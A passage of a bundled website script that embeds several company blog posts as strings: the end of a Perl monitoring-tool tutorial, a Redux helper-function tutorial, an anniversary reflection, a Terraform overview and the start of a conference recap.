HTTP::Tiny->new };\n\nhas ro timer => sub { Timer::Simple->new };\n\nbefore response_time => sub { $_[0]->response };\n\nhas ro response => sub ($self) {\n $self->timer;\n $self->agent->get( $self->url );\n};\n```\n\nMinus some boilerplate, that's the entirety of the metric module:\n\n```perl\npackage App::Oculi::Metric::Webpage;\n\nuse 5.20.0;\nuse warnings;\n\nuse HTTP::Tiny;\nuse Timer::Simple;\n\nuse App::Oculi::Has qw/ ro tag option field /;\n\nuse Moose;\nextends 'App::Oculi::Metric';\n\nuse experimental 'signatures', 'postderef';\n\nhas option tag url => (\n documentation => 'url of the monitored webpage',\n required => 1,\n);\n\nhas option content => (\n documentation => 'list of regular expressions to be found in the page',\n isa => 'ArrayRef',\n lazy => sub { [] },\n);\n\nhas field status => sub($self) {\n $self->response->{status};\n};\n\nhas field is_live => sub($self) {\n $self->error ? 'FALSE' : 'TRUE';\n};\n\nhas field response_time => sub($self) {\n $self->timer->elapsed;\n};\n\nhas field error => sub($self) {\n my $response = $self->response;\n return 'GET failed' unless $response->{success};\n\n for my $re ( $self->content->@* ) {\n return \"body doesn't match $re\" unless $response->{content} =~ /$re/;\n }\n\n return;\n};\n\n\nhas ro agent => sub { HTTP::Tiny->new };\n\nhas ro timer => sub { Timer::Simple->new };\n\nbefore response_time => sub { $_[0]->response };\n\nhas ro response => sub ($self) {\n $self->timer;\n $self->agent->get( $self->url );\n};\n\n\n1;\n```\n\n## a metric with several measurements\n\nOften a single metric invocation will generate more than\none set of measurements. For example, the monitoring of a printer\ncould generate one set of measurement for each color cartridge it has.\n\nTo cater to those cases, `oculi` allows a module to return a list of\ntags/fields pairs.\nFor that printer example, it would look like:\n\n```perl\npackage App::Oculi::Metric::PrinterInk;\n\nuse 5.20.0;\n\nuse warnings;\n\nuse Web::Query;\nuse List::Util qw/ pairmap /;\n\nuse App::Oculi::Has qw/ ro field fields tag option /;\n\nuse Moose;\nextends 'App::Oculi::Metric';\n\nuse experimental 'signatures', 'postderef';\n\nhas option tag printer => (\n required => 1,\n documentation => 'name of the printer',\n);\n\nhas option address => (\n lazy => sub($self) { $self->printer },\n documentation =>\n \"address of the printer, defaults to the 'printer' value\"\n);\n\nhas ro url => sub($self) {\n sprintf \"http://%s/general/status.html\", $self->
1address\n};\n\nhas ro toner_levels => sub($self) {\n no warnings; # height = 88px so =/= numerical\n\n return +{\n wq( $self->url )\n ->find( 'img.tonerremain' )\n ->map(sub {\n lc( $_->attr('alt') ) =>\n sprintf \"%.2f\", $_->attr('height') / 55,\n })->@*\n };\n};\n\nhas '+entries' => default => sub ($self) {\n return [\n pairmap { [ { color => $a } => { level => $b } ] }\n $self->toner_levels->%*\n ];\n};\n\n1;\n```\n\nWhen running, this metric produces one measurement line\nper color, with each line having the merged set of metric-wide\nand measurement-specific tags:\n\n```bash\n$ oculi printer_ink --config checks/printer.yml\nprinter_ink,color=magenta,printer=nibada level=0.71 1527530252911374000\nprinter_ink,color=black,printer=nibada level=0.53 1527530252911410000\nprinter_ink,color=yellow,printer=nibada level=0.16 1527530252911430000\nprinter_ink,color=cyan,printer=nibada level=0.00 1527530252911448000\n```\n\n## peeking under the hood\n\nReinventing the wheel is long, tedious, error-prone, and often a display\nof hubris over practicality. Which is why `oculi`,\nfor all the mechanics related to running\nit as a command-line app, sits on the firm base\nprovided by [MooseX::App][].\n\nIndeed, the main `App::Oculi` module is less than 10 lines long:\n\n```perl\npackage App::Oculi;\n\nuse MooseX::App qw/ Config /;\n\napp_namespace 'App::Oculi::Metric';\n\npackage App::Oculi::Trait::Tag { use Moose::Role }\npackage App::Oculi::Trait::Field { use Moose::Role }\npackage App::Oculi::Trait::Fields { use Moose::Role }\n\n1;\n```\n\nThe `oculi` script itself is only slightly more complex, and that purely\nbecause I wanted to impress the crowd with the run-the-config-as-a-script\ngimmick:\n\n```perl\n#!/usr/bin/env perl\n\nuse File::Serialize;\nuse App::Oculi;\n\nuse experimental 'postderef';\n\nunshift @ARGV, 'run' if -f $ARGV[0];\n\nmy %defaults;\nif( $ARGV[0] eq 'run' ) {\n my $file;\n ( undef, $file, @ARGV ) = @ARGV;\n\n my( $check, $defaults ) = deserialize_file($file)->%*;\n\n unshift @ARGV, $check;\n\n %defaults = %$defaults;\n\n}\n\nApp::Oculi->new_with_command(%defaults)->run;\n```\n\nThe brevity of those two files belie the number of features they bring to the\ntable. Not only will\nthe app find out all available metric modules by itself, know how to\nparse their configuration from the command line and/or configuration files, but\nhelp menus and basic documentation are generated without any extra effort from our\npart:\n\n```bash\n$ oculi --help\nusage:\n oculi <command> [long options...]\n oculi help\n oculi <command> --help\n\nglobal options:\n --config Path to command config file\n --help -h --usage -? Prints this usage information. [Flag]\n\navailable commands:\n disk_usage\n email_backlog\n help Prints this usage information\n printer_ink\n taskwarrior\n webpage\n\n\n$ oculi printer_ink --help\nusage:\n oculi printer_ink [long options...]\n oculi help\n oculi printer_ink --help\n\noptions:\n --address address of the printer, defaults to the 'printer'\n value\n --config Path to command config file\n --help -h --usage -? Prints this usage information. [Flag]\n --influxdb push the data to this influx instance\n --printer name of the printer [Required]\n```\n\n### the metric magic\n\nOnce the command line mechanics are delegated out of our way,\nwhat is left is to collect measurement\ntags and fields, and format them to be consumable by InfluxDB.\n\nFor that gathering of tags and fields, we use Moose's introspection.\nClass introspection and meta-programming is often seen as scary, but in\nthis instance we only dabble in minor sorcery. In\nthe previous sections, we had attributes declared as:\n\n```perl\nhas option tag url => (\n documentation => 'url of the monitored webpage',\n required => 1,\n);\n```\n\nWhat I didn't point up then is that the `option` and `tag` keywords are\nhelper functions imported from [App::Oculi::Has][]. They are DSL sugar that\nallows us to write the class' attributes in a shorter, more expressive way.\nWithout them, we would declare the attribute as:\n\n```perl\nhas url => (\n is => 'ro',\n traits => [ qw/\n App::Oculi::Trait::Tag\n MooseX::App::Meta::Role::Attribute::Option\n /],\n documentation => 'url of the monitored webpage',\n required => 1,\n);\n```\n\nWith the attributes properly earmarked via those traits, gathering them is\nonly a question of iterating over all attributes and picking the ones we\nwant.\n\n```perl\nhas tags => (\n is => 'rw',\n traits => [ 'Hash' ],\n lazy => 1,\n default => sub($self) {\n return +{\n map { $_->name => $_->get_value($self) }\n grep { $_->does('App::Oculi::Trait::Tag') }\n $self->meta->get_all_attributes\n }\n },\n handles => { all_tags => 'elements' },\n);\n```\n\nThe real code crosses a few more Ts and dots a handful of Is (and can\nbe [perused here][]), but for the bits that really matter, that's it.\n\n## running the checks\n\nMy own needs don't go beyond a few\nchecks per day, so for me a cronjob is perfectly acceptable:\n\n```bash\n1 */6 * * * find checks -name '*.yml' \\\n -exec perl -Ilib bin/oculi \\{\\} --influxdb=oculi \\;\n```\n\nBut I sold you Telegraf pretty hard a few sections ago, so\nI should show how to run the checks using it as well:\n\n```bash\n[[inputs.exec]]\ncommands = [\n \"/usr/bin/oculi run /path/to/checks/disk_usage.yml\",\n \"/usr/bin/oculi run /path/to/checks/printed_ink.yml\",\n]\n\ndata_format = \"influx\"\n```\n\nOr, if one is willing to use the yml-as-script trick, it can be crunched into:\n\n```bash\n[[inputs.exec]]\ncommands = [\n \"/
1path/to/checks/*.yml\",\n]\n\ndata_format = \"influx\"\n```\n\n## in conclusion\n\nThe goal of this blog entry was to demonstrate that monitoring systems doesn't\nneed to be exceedingly complex to let the measurements flow, and that\na little bit of structure can lead to smaller, simpler, faster to\nwrite, easier to maintain libraries of metrics. Hopefully, it'll inspire\npeople. Maybe to adopt and extend `oculi`, maybe to write their own version in\nthe language of their choice.\n\nEither way, eyes will be watching.\n\n[app::oculi::has]: https://github.com/yanick/oculi/blob/master/lib/App/Oculi/Has.pm\n[chronograf]: https://docs.influxdata.com/chronograf/v1.5/\n[grafana]: https://grafana.com/\n[influxdb]: https://docs.influxdata.com/influxdb/v1.5/\n[moosex::app]: https://metacpan.org/release/MooseX-App\n[telegraf]: https://docs.influxdata.com/telegraf/v1.6/\n[kapacitor]: https://docs.influxdata.com/kapacitor/v1.5/\n[perused here]: https://github.com/yanick/oculi\n[webpage]: https://github.com/yanick/oculi/blob/master/lib/App/Oculi/Metric/Webpage.pm\n",icon:C.A,color:"cyan"};var D=t(5342);let j={slug:"reduce-and-conquer",title:"Reduce and Conquer",excerpt:"showcase of higher-order functions to help with the minutiae of Redux.",authors:["Yanick Champoux"],publishDate:new Date("2018-05-04"),featuredImage:"/content/images/blogs/reduce-and-conquer/rac.jpg",category:"Development",tags:["Technology","JavaScript","Redux"],readTime:"10 min read",content:"In an ecosystem riddled with large, portentous frameworks,\n[Redux](https://redux.js.org/) is a refreshingly ascetic\nlittle store management system. Driven more by its functional\nprogramming-inspired tenets than supporting code, it offers â and\nneeds â only a few helper functions to manage its stores.\n\nMinimalism is good. It's also a good idea to abstract oft-used\npatterns into more expressive forms. Ideally, code should be crafted\nsuch that its intent comes out on first read, while making deeper digs\npossible when required.\n\nHappily enough, the judicious use of delightfully succinct\nhigher-order functions is often all that's required to tailor-suit\nsome ergonomics into the manipulation of middleware and reducers. This\nblog entry will showcase some of those helper functions that work for\nme.\n\nThis article assumes you're already familiar with Redux. If this isn't\nthe case, you might want to check out first one of my\n[previous articles](/resources/blog/redux-redux-via-pollux),\nwhich provides a gentler, if a tad unconventional, introduction to the\nframework.\n\n\x3c!-- cut --\x3e\n\n## action-specific middleware\n\nThis is a great example of a pervasive pattern that is already so easy to deal with that\nwe don't always think about abstracting it away. You have a middleware, but\nyou only want it to react to certain actions. Assuming you're using just plain\nRedux middleware and not [sagas][], you're probably doing something like:\n\n```javascript\nconst mwWatchingForFoo = (store) => (next) => (action) => {\n if (action.type !== \"FOO\") return next(action);\n\n // do whatever needs to be done for FOO actions\n};\n```\n\nFor sure, it is boilerplate. But it's one itsy-bitsy line of boilerplate, so\nit's not so much of a big deal, right? Right. But still, we can make things\nbetter.\n\n```javascript\nimport { includes } from \"lodash/fp\";\n\nconst mwFor =\n (...target) =>\n (inner) =>\n (store) =>\n (next) =>\n (action) =>\n (includes(action.type)(target) ? next : inner(store)(next))(action);\n```\n\nThat's a mouthful, but it boils down to \"if the action interests\nus, calls the inner function. If not, just skip ahead to the `next`\nmiddleware\". And now we have a generic middleware handler that allows us\nto bring the filtering at the front of the declaration (and supports\nboth single types and arrays of them as a welcome bonus):\n\n```javascript\nconst mwWatchingForFoo = mwFor(\"FOO\")((store) => (next) => (action) => {\n // do whatever needs to be done for FOO actions\n});\n\nconst mwWatchingMore = mwFor(\n \"BAR\",\n \"BAZ\"\n)((store) => (next) => (action) =>
1 {\n // do whatever needs to be done for BAR and BAZ actions\n});\n```\n\nDecorators could even be used to tag the middleware with the actions\nthey target, although I'm not sure the syntax ends up being any clearer.\n\n```javascript\nimport { includes } from \"lodash/fp\";\n\nconst mwFor =\n (...targetTypes) =>\n (target, key, descriptor) => {\n const original = descriptor.value;\n descriptor.value = (store) => (next) => (action) =>\n (targetTypes.indexOf(action.type) === -1 ? next : original(store)(next))(\n action\n );\n };\n\n// decorators only work within classes\nclass MyMiddleware {\n @mwFor(\"FOO\")\n static watchingForFoo(store) {\n return (next) => (action) => {\n // do whatever needs to be done for FOO actions\n };\n }\n}\n\nconst mwWatchingForFoo = MyMiddleware.watchingForFoo;\n```\n\n## state selectors\n\nFor selectors returning pertinent bits of the store's state, it really pays\noff to study the many functions that [lodash][] (and its functional programming\nvariant [lodash/fp][]) has to offer. They help slice what would be\ncomplexish filters into smaller components.\n\nFor example, I have a [pet project][] where the Redux store represents\nthe state of a spaceship game. To select all ships without orders\nbelonging to active players, I could do:\n\n```javascript\nconst play_turn = mwFor( 'PLAY_TURN' )(\n { getState } => next => action => {\n const state = getState();\n\n let active_players = state.game.players\n .filter( p => p.active )\n .map( p => p.name );\n\n let waiting_ships = state.ships\n .filter( s => !s.orders || !s.orders.done )\n .filter( s =>\n active_players.indexOf( s.player_id ) > -1 );\n\n if( waiting_ships.length > 0 ) {\n // do the thing\n }\n }\n);\n```\n\nIt's not horrible, but there's a lot going on, and what could be\nclean chains are dirtied a little bit by checks that must be done\nto ensure all data structures are present. All of that could be rewritten\nas:\n\n```javascript\nimport _ from 'lodash';\nimport fp from 'lodash/fp';\n\nconst gamePlayers = state => _.get( state, 'game.players', [] );\nconst activePlayers = fp.filter('active')\nconst allShips = state => _.get( state, 'ships', [] );\nconst withoutOrder = fp.negate( fp.get('orders') );\nconst controlled = players => fp.includes(players);\n\nconst play_turn = mwFor( 'PLAY_TURN' )(\n { getState } => next => action => {\n const state = getState();\n\n let active = fp.pipe([\n gamePlayers,\n activePlayers,\n fp.map('name')\n ])(state);\n\n let waitingShips = fp.pipe([\n allShips,\n withoutOrder,\n controlled(active),\n ])(state);\n\n if( _.isEmpty(waitingShips) ) {\n // do the thing\n }\n }\n);\n```\n\nThis way, the mechanics are removed from the middleware proper, which makes\nit easier to read, and it provides us with a slew of small functions that we\ncan use and test in isolation.\n\nAnd for people who love to live on the bleeding edge, there is also a\n`::` [binding operator][] that is a stage-0 ECMAScript proposal. With a little\nBabel help, one would use it to give the chaining a different look.\n\n```javascript\nimport _ from 'lodash';\nimport fp from 'lodash/fp';\n\nconst gamePlayers = () => _.get( this, 'game.players', [] );\nconst activePlayers = () => _.filter(this,'active')\nconst allShips = () => _.get( this, 'ships', [] );\nconst withoutOrder = () => fp.negate( _.get(this, 'orders') );\nconst controlled = players => _.includes(this, players);\n\nconst play_turn = mwFor( 'PLAY_TURN' )(\n { getState } => next => action => {\n const state = getState();\n\n let active =\n state::gamePlayers()::activePlayers().map( p => p.name );\n\n let waitingShips =\n state::allShips()::withoutOrder()::controlled(players);\n\n if( _.isEmpty(waitingShips) ) {\n // do the thing\n }\n }\n);\n```\n\n## reducers\n\n### per-action reducer\n\nThe basic way to create a reducer in Redux is to have a function that is\na giant `switch`:\n\n```javascript\nconst shipReducer = function (state = {}, action) {\n switch (action.type) {\n case \"MOVE\":\n return { ...state, navigation: action.navigation };\n\n case \"DAMAGE\":\n return { ...state, hull: state.hull - action.damage };\n\n default:\n return state;\n }\n};\n```\n\nIn the spirit of our 'reduce and conquer' approach, let's break that switch\nand compose a reducer out of many per-action functions:\n\n```javascript\nfunction actionsReducer( redactions, initial_state = {} ) {\n return function( state = initial_state, action ) {\n let red = redactions[action.type] || redactions['*'];\n return red ? red(state,action) : state;\n }\n}\n\nlet redactions = {};\n\nredactions.MOVE = (state,{navigation}) => {\n ...state,\n navigation\n};\n\nredactions.DAMAGE = (state,{damage}) =>
1 {\n ...state,\n hull: state.hull - damage\n};\n\nconst shipReducer = actionsReducer(redactions);\n```\n\nMuch shorter, isn't? We can even do one better. We can change\nthe signature of the functions to be curriable:\n\n```javascript\nfunction actionsReducer( redactions, initial_state = {} ) {\n return function( state = initial_state, action ) {\n let red = redactions[action.type] || redactions['*'];\n return red ? red(action)(state) : state;\n }\n}\n\nlet redactions = {};\n\nredactions.MOVE = ({navigation}) => state => {\n ...state,\n navigation\n};\n\nredactions.DAMAGE = ({damage}) => state => {\n ...state,\n hull: state.hull - damage\n};\n\nconst shipReducer = actionsReducer(redactions);\n```\n\nOkay, that doesn't look much different. But wait! If we slip in the use of\n[updeep][] in there...\n\n```javascript\nimport u from \"updeep\";\nimport fp from \"lodash/fp\";\n\nfunction actionsReducer(redactions, initial_state = {}) {\n return function (state = initial_state, action) {\n let red = redactions[action.type] || redactions[\"*\"];\n return red ? red(action)(state) : state;\n };\n}\n\nlet redactions = {};\n\nredactions.MOVE = ({ navigation }) => u({ navigation });\n\nredactions.DAMAGE = ({ damage }) => u({ hull: fp.add(-damage) });\n\nconst shipReducer = actionsReducer(redactions);\n```\n\n### asserting the existence of actions\n\nSince action types are often simple strings, it's not unusual\nthat peeps want to double-check that no typo slipped anywhere.\n\nAs one might expect, that can be done many ways. Assuming we have an\nobject like in the previous section, we can do:\n\n```javascript\nimport _ from \"lodash\";\nimport { actions as officialActions } from \"./actions\";\n\nlet actions = new Set(_.keys(redactions));\n[...officialActions, \"*\"].forEach(actions.delete);\n\nfor (unknownAction of actions.values()) {\n console.error(\"unknown action used: \", unknownAction);\n}\n```\n\nWe could also be proactive and check that the types are legit as they are\nadded\nto the object:\n\n```javascript\nconst assertAction = {\n set( object, prop ) {\n if( prop !== '*' && ! officialActions[prop] )\n throw new Error( `${prop} is not a known action` );\n\n return Reflect.set(...arguments);\n }\n};\n\nlet redaction = new Proxy({}, assertAction );\n\nredaction.MOVE = ...; // totally fine\n\nredaction.BAD = ...; // insta-boom\n```\n\n### chaining reducers\n\nIf a reducer gets too big, its actions could be split\nby topic. In which case we might want to have the main state groomed by\nall sub-reducers, which is pretty much a clear case of, well, reducing:\n\n```javascript\nconst chainReducers = (reducers) =>\n reducers.reduceRight(\n (accum, reducer) => (state, action) => accum(reducer(state, action), action)\n );\n\nlet shipReducer = chainReducers(movementReducer, damageReducer);\n```\n\n### reducto absurdum\n\nThis one is as trivial as they come. But if one is to use the `chainReducers`\nshown in the previous section, it might be good to have a reducer explicitly\ndevoted to assign a default state if there is none:\n\n```javascript\nimport u from 'updeep';\nimport fp from 'lodash/fp';\n\nconst initReducer = default => u.if( fp.isNil, default );\n\nlet shipReducer = chainReducers(\n movementReducer,\n damageReducer,\n initReducer({ coords: [0,0] })\n);\n```\n\n### mapping reducer\n\nWhen the main state of the store is an array, we typically have to resort\nto some `map`ping. For example, the reducer for all ships in my pet project\ncould look like:\n\n```javascript\nimport u from 'updeep';\nimport _ from 'lodash';\n\nredactions.UPDATE_STATUS = () => u.map( ship => ({\n destroyed: ship.hull <=0\n}));\n\nredactions.MOVE = ({ ship_id, coords }) => u.map(\n u.if( .matches({id: ship_id}), { coords }\n));\n```\n\nAs you probably expect by now, we can extract the mapping into its own\nlittle function:\n\n```javascript\nconst mappingReducer = (reducer) => (condOrAction) =>\n _.isFunction(condOrAction)\n ? (action) => u.map(u.if(condOrAction(action), reducer(action)))\n : u.map(reducer(condOrAction));\n\nconst shipReducer = actionsReducer({\n UPDATE_STATUS: () =>\n u((ship) => ({\n destroyed: ship.hull <= 0\n })),\n MOVE: ({ coords }) =>
1 u({ coords })\n});\n\nconst mappedShipReducer = mappingReducer(shipReducer);\n\nconst singledShip = ({ ship_id }) => _.matches({ id: ship_id });\n\nconst shipsReducer = actionsReducer({\n UPDATE_STATUS: mappedShipReducer,\n MOVE: mappedShipReducer(singledShip)\n});\n```\n\nThe function here is written so that it works well with my `actionsReducer`,\nbut making it play nice with basic reducers is only a question of\nrejuggling arguments.\n\n### A more flexible `combineReducers`\n\nThe `combineReducers` that comes with Redux only considers the direct keys\nof the provided object, and expect them all to be reducers themselves. But it's possible that, after acquiring a taste for\nthe flexibility of updeep regarding merges, we want to change that:\n\n```javascript\nimport u from \"updeep\";\nimport _ from \"lodash\";\nimport fp from \"lodash/fp\";\n\nfunction combineReducers(reducers) {\n // first let's get the recursivity out of the way\n reducers = u.map(u.if(_.isObjectLike, combineReducers))(reducers);\n\n return (action) => u(u.map((reducer) => reducer(action))(reducers));\n}\n\nconst shipReducer = actionsReducer({\n DAMAGE: ({ damage }) =>\n combineReducers({\n hit_taken: fp.add(1),\n structure: { hull: { integrity: integrityReducer } }\n })\n});\n```\n\n### have your curry and eat it too\n\nIn the previous sections, the signatures of my reducers have\nalterned between the classic state and action duo, and an inverted, curried\nversion that plays better with `updeep`:\n\n```javascript\nimport u from \"updeep\";\n\n// signature is: (state,action) => new_state\nconst old_skool_reducer = function (state, action) {\n return u({ counter: (c) => c + action.increment })(state);\n};\n\n// signature is: action => state => new_state\nconst curry_friendly_reducer = (action) =>\n u({ counter: (c) => c + action.increment });\n```\n\nI'd be remiss if I was not to point our that, thanks to\nsome `lodash` magic, it's possible to merge those two variations\ninto a single function that will do the right thing based on\nhow your invoke it.\n\n```javascript\nimport u from \"updeep\";\nimport _ from \"lodash\";\n\n// signature is: (state,action) => new_state\nconst all_in_one_reducer = _.curryRight(function (state, action) {\n return u({ counter: (c) => c + action.increment })(state);\n});\n\n// 2 arguments? Works old skool\nlet new_state = all_in_one_reducer(previous_state, action);\n\n// otherwise, assume you are hungry for some currying\nlet new_state = all_in_one_reducer(action)(previous_state);\n```\n\n## in conclusion\n\nIt is my hope that this blog entry illustrated how\neasy it is to enhance the basic mechanisms that come\nwith Redux, and how the interface doesn't bind to a specific style, but rather\ngive plenty of room to define the set of helper functions that make sense\nto the project at hand. I also hope that it provided compelling examples on how\nthat kind of helper functions can abstract implementation details out of the\nhigher strata of code, and make code more readable by moving the focus away\nfrom the _how_ and unto the _what_.\n\n[binding operator]: https://github.com/tc39/proposal-bind-operator\n[lodash]: https://lodash.com/\n[lodash/fp]: https://github.com/lodash/lodash/wiki/FP-Guide\n[pet project]: http://techblog.babyl.ca/entry/javascript-of-the-darkest-sea\n[sagas]: https://github.com/redux-saga/redux-saga\n[updeep]: https://github.com/substantial/updeep\n",icon:D.A,color:"red"};var W=t(27);let _={slug:"twenty-thoughts",title:"Twenty Thoughts",excerpt:"Thoughts on twenty years of Infinity.",authors:["Jeremy Shao"],publishDate:new Date("2018-02-25"),category:"Culture",tags:["Culture","Passions","People"],readTime:"2 min read",content:'<div class="float:right">\n<img src="/content/images/blogs/twenty-thoughts/infinity-20.jpg"\n alt="20 years of infinity"\n alt="20 years of infinity"\n width=250 />\n</div>\n\nYesterday marked our 20th anniversary.\n\nItâs been an awesome ride and weâre grateful for the opportunity to\nhave enjoyed every moment with so many wonderful partners, clients,\nand colleagues. This weekend, I had an opportunity to spend a few\nminutes to sit back and reflect on the experiences of the past twenty\nyears as well as the path forward to the next twenty.\n\n\x3c!-- cut --\x3e\n\n<i>We started the company 20 years agoâ¦</i>\n\nâ¦with the goal of creating a nurturing, fun, and collaborative\nenvironment for people who love technology. Itâs my belief that our\nsuccess has been due to the amazing people who have joined us and\ntheir ability to continuously improve the culture weâve built.\n\n<i>
1Weâve been blessed with 20 years ofâ¦</i>\n\nâ¦hiring brilliant people who are blessed with positive attitudes and\nan irrepressible drive to find creative solutions to complex problems.\n\nâ¦fostering an environment designed to enhance our peopleâs intrinsic\ndesire to build things and add value while freeing them from the\ntraditional constraints of meetings, overhead, and office politics.\n\nâ¦supporting peopleâs growth as technologists, contributors, and\nhumans.\n\nâ¦partnering with our clients to deliver targeted solutions that strike\nto the heart of what they truly need, stretching above and beyond the\ninitial ask.\n\nâ¦earning the loyalty and dedication of valued partners and clients.\n\n<i>Weâre proud of our 20 years ofâ¦</i>\n\nâ¦groundbreaking contributions to the open source community.\n\nâ¦working with inspiring, incredible, talented people to build\nbeautiful software.\n\nâ¦engaging, fun projects such as building a childrenâs exhibit for the\nSan Jose Tech Museum.\n\nâ¦developing multiple large scale multi-channel campaigns that have\nsuccessfully driven increased market share, size, and profitability.\n\nâ¦building complex HR and Benefits systems that have modernized and\nstreamlined employee retention plans, decision support tools, data\ncollection and reporting, payroll processes, and administrative\ncapabilities.\n\nâ¦architecting and integrating projects that have improved employee\ncommunications and efficiency while reducing costs.\n\nâ¦fighting in the trenches to modernize inherited, obfuscated\ncodebases.\n\nâ¦becoming one of the first entirely on-shore, remote organizations,\nuntethering our people from a physical office.\n\n<i>Weâre looking forward to 20 more years ofâ¦</i>\n\nâ¦leveraging our vast project experience and knowledge to continue\ndesigning custom business, process, and software solutions.\n\nâ¦partnering with companies to provide them with best of breed\nprogramming and development services.\n\nâ¦building our own platform and product portfolio.\n\nâ¦living and refining the Infinity Way, our internal scaffolding\ndesigned to streamline the path to success for all of our people.\n\nâ¦continuing to contribute to new and ongoing open-source efforts,\nbecause we are all a part of something larger than ourselves.\n\nâ¦giving back to our communities through personal and group volunteer\nwork, because those who are blessed with aptitude and capability\nshould give freely of themselves to better the lives of others.\n',icon:W.A,color:"blue"};var M=t(9602);let O={slug:"writing-infrastructure-as-code",title:"Writing Infrastructure as Code",excerpt:"Using Terraform to write platform-agnostic infrastructure as code, making infrastructure versionable and more manageable.",authors:["Sean Sparkman"],publishDate:new Date("2017-12-27"),category:"Development",tags:["Technology","Terraform","Azure","AWS"],readTime:"5 min read",featuredImage:"/content/images/blogs/tpc2017-terraform/terraform.png",content:'<div class="float:right">\n<img src="/content/images/blogs/tpc2017-terraform/terraform.svg" alt="HashiCorp Terraform" title="HashiCorp Terraform">\n</div>\n\nWhen we developed the\n[TPC 2017 mobile application](/resources/blog/announcing-our-tpc-2017-app),\nwe wanted to create a repeatable process for delivering white-labeled\nmobile applications in this space. This new delivery model did not end\nwith the mobile applicationâs UI and data. The backend had to be\nconfiguration-driven and easy to redeploy as well. This way we can\nspin up a mobile application with a working backend in minutes.\n\n\x3c!-- cut --\x3e\n\nTo do this, we embraced the idea of âinfrastructure as codeâ (aka\nâIaCâ.) IaC allows us to get away from the manual configurations and\ncustom scripts that have been traditionally used to manage\ninfrastructure. Instead, IaC allows us to use the software development\npractices we use for the rest of a software development projectâs\nassets, from code to images, such as version control, continuous\nintegration, and automated testing. By bringing the infrastru
1cture\ncomponents into the process, we can make infrastructure changes more\nreliably and easily.\n\nHere at Infinity, we are language and platform agnostic. With that in\nmind, we chose [Terraform](https://www.terraform.io/intro/index.html)\nas it is a multi-platform solution to writing infrastructure as code.\nItâs a high-level configuration syntax that abstracts command line and\ncomplex web portals away.\n\nAt its essence, Terraform is driven by a three-step process. First,\nconfiguration files that describe the components your application or\nsystem need. From this, Terraform will create an execution plan that\ndetermines the steps Terraform will perform. Finally, Terraform will\nexecute the plan to build the infrastructure. Because Terraform is\ndesigned with change automation in mind, should the infrastructure\nconfiguration change, Terraform can determine the specifics of what\nchanged and design an incremental execution plan to maximize\nefficiency. Youâre also able to review the changes that will be made\nbefore they happen.\n\nTo understand Terraform, itâs important to understand how the concepts\nof âprovidersâ and âresourcesâ apply to it.\n\n## providers\n\nA âproviderâ is used to interact with or manage the resources\nsupported by the services to which you connect, often via an API.\nProviders are usually Infrastructure as a Service (IaaS), but they are\nnot limited to that. Vault, for example, is a credential and secret\nkey storage service. There are many providers that are available\nout-of-the-box with Terraform, including Azure, AWS, Datadog, Mailgun\nand many more. Additionally, you can write your own provider.\n\n<img src="/content/images/blogs/tpc2017-terraform/providers.svg"\n alt="Terraform Providers"\n title="Terraform Providers"\n class="center" />\n\nIn the case of the TPC 2017 application, we are using\n[Microsoft Azure](https://azure.microsoft.com/) services. With\nTerraform, we can generate most of the services we need in Azure.\nThere are a few exceptions like the application service. Fortunately,\nTerraform allows you to use Azure Resource Manager (âARMâ) templates.\nTo learn more about ARM templates, see my previous blog post\n[Azure Automation Made Easy](/resources/blog/azure-automation-made-easy).\nThey work inside of the Terraform scripts and maintain state allowing\nfor change sets to be generated. Additionally, you can pass parameters\ninto and out of these templates, making them almost seamless to use in\nthe Terraform scripts.\n\n## resources\n\nGenerally, âresourcesâ are logical instances (components) of\ninfrastructure. Examples of these are load balancers, databases, and\nvirtual machines. Because Terraform is focused on infrastructure\nitems, the built-in resources were written for these. Since cloud\nproviders continually provide new types of services, Terraform may not\nalways have every one available but allows for custom items to be\ncreated using resources.\n\n## summary\n\nTerraform is a great way to write infrastructure as code. Now your\ninfrastructure can be stored in Git along with the rest of your code\nwhich means that you can now version your infrastructure. And just\nlike versioned code, you can revert to previous versions, easily see\nwhat has changed, and know who changed your infrastructure. Another\nbenefit is the ability to hand over responsibility for the\ninfrastructure to your developers without giving them access to the\nproduction environment. A developer can write code to setup servers,\nfirewalls, etc. without having to access the system itself. The\nTerraform scripts can be reviewed or executed by a system\
1nadministrator or even built into continuous integration.\n\nThere are some key issues we have found with Terraform as well. If you\ndo not maintain the state file between executions, Terraform has to\nrescan your infrastructure entirely. This can take a long time.\nAdditionally, if the Terraform script is not executed with full\nprivileges, it might not be able to see all the resources it has\ncreated, which can cause issues. We did not run into the issue with\nthe TPC project, but we have seen others run into it. The main problem\nwe ran into is that Terraform does not have a debug mode. To test a\nscript you must run it against providers and create resources, which\ncan be expensive, especially if you forget to destroy afterwards.\n',icon:M.A,color:"violet"};var R=t(9142);let B={slug:"so-much-speakerlife",title:"So much #speakerlife!",excerpt:"Infinity's @genehack recaps his busy summer on the conference circuit.",authors:["John SJ Anderson"],publishDate:new Date("2017-10-11"),category:"Culture",tags:["Conferences","Culture","Technology","Passions"],readTime:"6 min read",featuredImage:"/content/images/blogs/so-much-speakerlife/speakerlife.png",content:'This summer I had the wonderful opportunity to represent Infinity and\nspeak at a number of conferences. Earlier in the year I was doing a\nmuch better job of keeping up with writing up my experiences at each\nconference soon after it happened, but as things got busy over the\nsummer, I got behind. Below the fold, Iâll do a brief recap of each\nof the five (yes, five!) conferences Iâve spoken at and not yet\nrecapped here.\n\n\x3c!-- cut --\x3e\n\n## The Perl Conference (TPC)\n\n<div class="center">\n<img src="/content/images/blogs/so-much-speakerlife/tpc-sign.jpg"\n alt="The Perl Conference in DC welcome sign"\n title="The Perl Conference in DC welcome sign" />\n</div>\n\n[The conference formerly known as YAPC](http://www.perlconference.us/tpc-2017-dc/)\nwas held in the Washington DC area in mid-June. Perl was my first\nserious programming language, and I still identify with this community\nmore strongly than any other Open Source group, so this conference is\nalways a high point of my calendar.\n\nI started off the conference by doing a âPerl in a Dayâ training on\nthe first day, and then presented two talks -\n[âA Modest Introduction to Swiftâ](https://www.slideshare.net/genehackdotorg/a-modest-introduction-to-swift-77180470)\nand\n[âLogs Are Magicâ](https://www.slideshare.net/genehackdotorg/logs-are-magic-why-git-workflows-commit-structure-should-matter-to-you).\nOn the closing day of the conference, I also wrote and delivered a\nlightning talk called\n[â#speakerlifeâ](https://www.slideshare.net/genehackdotorg/speakerlife).\n\n<img src="/content/images/blogs/so-much-speakerlife/tpc-training.jpg" alt="Perl in a Day training sign" title="Perl in a Day training sign" />\n<img src="/content/images/blogs/so-much-speakerlife/tpc-swift.jpg" alt="Modest Introduction to Swift title slide" title="Modest 